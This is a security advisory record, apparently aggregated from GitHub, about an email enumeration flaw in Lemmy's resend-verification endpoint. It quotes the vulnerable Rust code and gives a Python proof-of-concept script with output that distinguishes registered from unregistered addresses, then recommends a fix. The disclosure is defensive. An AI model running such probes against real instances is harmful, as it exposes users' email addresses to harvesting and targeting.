Lemmy resend-verification endpoint exposes registered email addresses to unauthenticated users
Key facts
- Attack vector
- —
- Privileges required
- —
- User interaction
- —
- Attack complexity
- —
- Impact type
- Information disclosure
- Confidentiality · integrity · availability
- —
- Fix status
- No fix listed
No CVSS vector from any source. Fix status from GitHub. Impact type from CWE-204.
Summary
## Summary The unauthenticated resend-verification endpoint returns different responses for registered and unregistered email addresses. A malicious third party can submit candidate addresses to `/api/v4/account/auth/resend_verification_email` and distinguish accounts from misses. ## Details `resend_verification_email()` looks up the submitted address and returns the lookup error to the caller: ```rust let local_user_view = LocalUserView::find_by_email(&mut context.pool(), &email).await?; check_local_user_valid(&local_user_view)?; ``` The password reset endpoint already uses a safer pattern. It discards lookup errors and returns success, which prevents the same account-discovery channel. ## Proof of Concept The following script creates one user and probes that address plus a missing address. ```python import requests, random, string BASE = "http://127.0.0.1:8536/api/v4" # change to the target Lemmy URL ADMIN_USER = "lemmy" ADMIN_PASS = "lemmylemmy" PASSWORD = "Password123456!" def post(path, **body): return requests.post(BASE + path, json=body) suffix = "enum" + "".join(random.choice(string.ascii_lowercase) for _ in range(6)) admin = post("/account/auth/login", username_or_email=ADMIN_USER, password=ADMIN_PASS).json()["jwt"] requests.put(BASE + "/site", headers={"Authorization": "Bearer " + admin}, json={"registration_mode": "open", "email_verification_required": False}) email = "alice" + suffix + "@example.test" post("/account/auth/register", username="alice" + suffix, password=PASSWORD, password_verify=PASSWORD, email=email).raise_for_status() for candidate in [email, "missing" + suffix + "@example.test"]: r = post("/account/auth/resend_verification_email", email=candidate) print(candidate, "HTTP", r.status_code, r.text[:300]) ``` Output: ```text [email protected] HTTP 200 {"success":true} [email protected] HTTP 404 {"error":"not_found","cause":"Record not found"} ``` ## Impact A malicious third party can enumerate registered email addresses without authentication. The endpoint uses the registration rate limit bucket, not an endpoint-specific anti-enumeration limit, so the attacker can automate probes across candidate address lists. The response also distinguishes missing accounts from banned or deleted accounts because `check_local_user_valid()` returns separate error types. ## Recommended Fix Use the password-reset pattern for resend verification. Move the lookup and email-send work into a helper, ignore helper errors in the handler, and always return `{"success": true}` for syntactically valid input. --- *Found by [aisafe.io](https://aisafe.io)*
Why it matters now
SSVC decision points
Not available: CISA has not published SSVC decision points for this record.
Affected products
| Vendor | Product | Affected versions | Fixed in | Status | Source |
|---|---|---|---|---|---|
| — | lemmy_api (crates.io) | up to 0.19.1-rc.1 | — | No fix listed | GHSA-qxrw-f6fh-34r7 |
- lemmy_api (crates.io) Vendor— Affected up to 0.19.1-rc.1 Fixed in — No fix listed GHSA-qxrw-f6fh-34r7
Remediation
No fixed version listed by the sources yet.
Timeline
- 2026-10-03 Threatist record created from GHSA-qxrw-f6fh-34r7
References
Sources
This product uses the NVD API but is not endorsed or certified by the NVD. Sources and licences